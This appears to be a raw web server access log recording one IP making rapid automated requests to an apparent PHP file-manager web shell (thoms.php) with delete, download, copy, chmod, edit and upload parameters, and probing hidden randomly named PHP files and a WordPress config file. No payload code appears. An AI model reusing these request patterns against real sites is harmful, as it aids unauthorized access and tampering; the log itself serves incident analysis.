45.135.193.11 - - [11/Sep/2026:23:56:30 -0400] "GET /thoms.php?del=license.txt&p=biotaiwan.com.tw%2Fpublic-languages HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=license.txt&p=biotaiwan.com.tw%2Fpublic-languages" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:30 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fpublic-languages&view=profile.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fpublic-languages&view=profile.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:30 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fpublic-languages&settings=1 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fpublic-languages&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:30 -0400] "GET /biotaiwan.com.tw/public-languages/cjfuns.php HTTP/1.1" 200 985 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:30 -0400] "GET /biotaiwan.com.tw/public-languages/profile.php HTTP/1.1" 503 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:30 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fpublic-languages%2Findex.php&p=biotaiwan.com.tw%2Fpublic-languages HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fpublic-languages%2Findex.php&p=biotaiwan.com.tw%2Fpublic-languages" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:30 -0400] "GET /thoms.php?chmod=license.txt&p=biotaiwan.com.tw%2Fpublic-languages HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=license.txt&p=biotaiwan.com.tw%2Fpublic-languages" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:30 -0400] "GET /thoms.php?dl=profile.php&p=biotaiwan.com.tw%2Fpublic-languages HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=profile.php&p=biotaiwan.com.tw%2Fpublic-languages" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:30 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fpublic-languages&upload= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fpublic-languages&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:30 -0400] "GET /thoms.php?dl=index.php&p=biotaiwan.com.tw%2Fpublic-languages HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=index.php&p=biotaiwan.com.tw%2Fpublic-languages" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:30 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fpublic-languages&view=admin.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fpublic-languages&view=admin.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:30 -0400] "GET /biotaiwan.com.tw/public-languages/admin.php HTTP/1.1" 200 985 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:30 -0400] "GET /thoms.php?dl=admin.php&p=biotaiwan.com.tw%2Fpublic-languages HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=admin.php&p=biotaiwan.com.tw%2Fpublic-languages" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:31 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fpublic-languages%2Flicense.txt&p=biotaiwan.com.tw%2Fpublic-languages HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fpublic-languages%2Flicense.txt&p=biotaiwan.com.tw%2Fpublic-languages" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:31 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fpublic-languages%2Fprofile.php&p=biotaiwan.com.tw%2Fpublic-languages HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fpublic-languages%2Fprofile.php&p=biotaiwan.com.tw%2Fpublic-languages" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:31 -0400] "GET /biotaiwan.com.tw/public-languages HTTP/1.1" 301 795 "http://163.245.207.76:443/biotaiwan.com.tw/public-languages" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:31 -0400] "GET /thoms.php?edit=wp-config-sample.php&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=wp-config-sample.php&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:31 -0400] "GET /biotaiwan.com.tw/public-languages/ HTTP/1.1" 200 6452 "https://163.245.207.76:443/biotaiwan.com.tw/public-languages" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:31 -0400] "GET /thoms.php?edit=wp-config-sample.php&env=ace&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?edit=wp-config-sample.php&env=ace&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:31 -0400] "GET /biotaiwan.com.tw/upgrade/termps.php HTTP/1.1" 200 217 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:31 -0400] "GET /thoms.php?dl=admin.php&p=biotaiwan.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=admin.php&p=biotaiwan.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:31 -0400] "GET /biotaiwan.com.tw/upgrade/error_log HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:31 -0400] "GET /thoms.php?del=error_log&p=biotaiwan.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=error_log&p=biotaiwan.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:31 -0400] "GET /thoms.php?dl=termps.php&p=biotaiwan.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=termps.php&p=biotaiwan.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:31 -0400] "GET /thoms.php?dl=.854077255588723.php&p=biotaiwan.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=.854077255588723.php&p=biotaiwan.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:31 -0400] "GET /thoms.php?dl=error_log&p=biotaiwan.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=error_log&p=biotaiwan.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:31 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fupgrade&view=index.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fupgrade&view=index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:31 -0400] "GET /thoms.php?chmod=postnews.php&p=biotaiwan.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=postnews.php&p=biotaiwan.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:31 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fupgrade&view=error_log HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fupgrade&view=error_log" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:31 -0400] "GET /biotaiwan.com.tw/upgrade/.854077255588723.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:31 -0400] "GET /thoms.php?del=termps.php&p=biotaiwan.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=termps.php&p=biotaiwan.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:31 -0400] "GET /thoms.php?dl=.244961129106187.php&p=biotaiwan.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=.244961129106187.php&p=biotaiwan.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:32 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fupgrade%2Ferror_log&p=biotaiwan.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fupgrade%2Ferror_log&p=biotaiwan.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:32 -0400] "GET /thoms.php?dl=index.php&p=biotaiwan.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=index.php&p=biotaiwan.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:32 -0400] "GET /thoms.php?del=.165545544391440.php&p=biotaiwan.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=.165545544391440.php&p=biotaiwan.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:32 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fupgrade%2F.htaccess&p=biotaiwan.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fupgrade%2F.htaccess&p=biotaiwan.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:32 -0400] "GET /thoms.php?dl=.htaccess&p=biotaiwan.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=.htaccess&p=biotaiwan.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:32 -0400] "GET /thoms.php?chmod=error_log&p=biotaiwan.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=error_log&p=biotaiwan.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:32 -0400] "GET /thoms.php?del=index.php&p=biotaiwan.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=index.php&p=biotaiwan.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:32 -0400] "GET /thoms.php?dl=postnews.php&p=biotaiwan.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=postnews.php&p=biotaiwan.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:32 -0400] "GET /biotaiwan.com.tw/upgrade HTTP/1.1" 301 795 "http://163.245.207.76:443/biotaiwan.com.tw/upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:32 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fupgrade&upload= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fupgrade&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:32 -0400] "GET /biotaiwan.com.tw/upgrade/ HTTP/1.1" 200 6751 "https://163.245.207.76:443/biotaiwan.com.tw/upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:32 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fupgrade&view=.165545544391440.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fupgrade&view=.165545544391440.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:32 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fupgrade%2F.165545544391440.php&p=biotaiwan.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fupgrade%2F.165545544391440.php&p=biotaiwan.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:32 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fupgrade&view=.244961129106187.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fupgrade&view=.244961129106187.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:33 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fupgrade&view=.854077255588723.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fupgrade&view=.854077255588723.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:33 -0400] "GET /thoms.php?chmod=.htaccess&p=biotaiwan.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=.htaccess&p=biotaiwan.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:33 -0400] "GET /thoms.php?del=.854077255588723.php&p=biotaiwan.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=.854077255588723.php&p=biotaiwan.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:33 -0400] "GET /biotaiwan.com.tw/upgrade/admin.php HTTP/1.1" 200 1105 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:33 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fupgrade&view=termps.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fupgrade&view=termps.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:33 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fupgrade%2Ftermps.php&p=biotaiwan.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fupgrade%2Ftermps.php&p=biotaiwan.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:33 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fupgrade&view=postnews.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fupgrade&view=postnews.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:33 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fupgrade%2Fadmin.php&p=biotaiwan.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fupgrade%2Fadmin.php&p=biotaiwan.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:33 -0400] "GET /biotaiwan.com.tw/upgrade/.244961129106187.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:33 -0400] "GET /thoms.php?chmod=.165545544391440.php&p=biotaiwan.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=.165545544391440.php&p=biotaiwan.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:33 -0400] "GET /thoms.php?dl=.165545544391440.php&p=biotaiwan.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=.165545544391440.php&p=biotaiwan.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:33 -0400] "GET /thoms.php?chmod=.244961129106187.php&p=biotaiwan.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=.244961129106187.php&p=biotaiwan.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:33 -0400] "GET /biotaiwan.com.tw/upgrade/.htaccess HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:33 -0400] "GET /thoms.php?del=.htaccess&p=biotaiwan.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=.htaccess&p=biotaiwan.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:33 -0400] "GET /thoms.php?del=txets.php&p=biotaiwan.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=txets.php&p=biotaiwan.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:33 -0400] "GET /thoms.php?del=.244961129106187.php&p=biotaiwan.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=.244961129106187.php&p=biotaiwan.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:33 -0400] "GET /biotaiwan.com.tw/upgrade/.165545544391440.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:33 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fupgrade%2Fpostnews.php&p=biotaiwan.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fupgrade%2Fpostnews.php&p=biotaiwan.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:33 -0400] "GET /biotaiwan.com.tw/upgrade/postnews.php HTTP/1.1" 200 114 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:33 -0400] "GET /biotaiwan.com.tw/upgrade/txets.php HTTP/1.1" 200 217 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:33 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fupgrade&settings=1 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fupgrade&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:33 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fupgrade&view=admin.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fupgrade&view=admin.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:34 -0400] "GET /thoms.php?chmod=txets.php&p=biotaiwan.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=txets.php&p=biotaiwan.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:34 -0400] "GET /thoms.php?del=postnews.php&p=biotaiwan.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=postnews.php&p=biotaiwan.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:34 -0400] "GET /thoms.php?chmod=.854077255588723.php&p=biotaiwan.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=.854077255588723.php&p=biotaiwan.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:34 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fupgrade&view=.htaccess HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fupgrade&view=.htaccess" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:56:34 -0400] "GET /biotaiwan.com.tw/upgrade/index.php HTTP/1.1" 200 6569 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
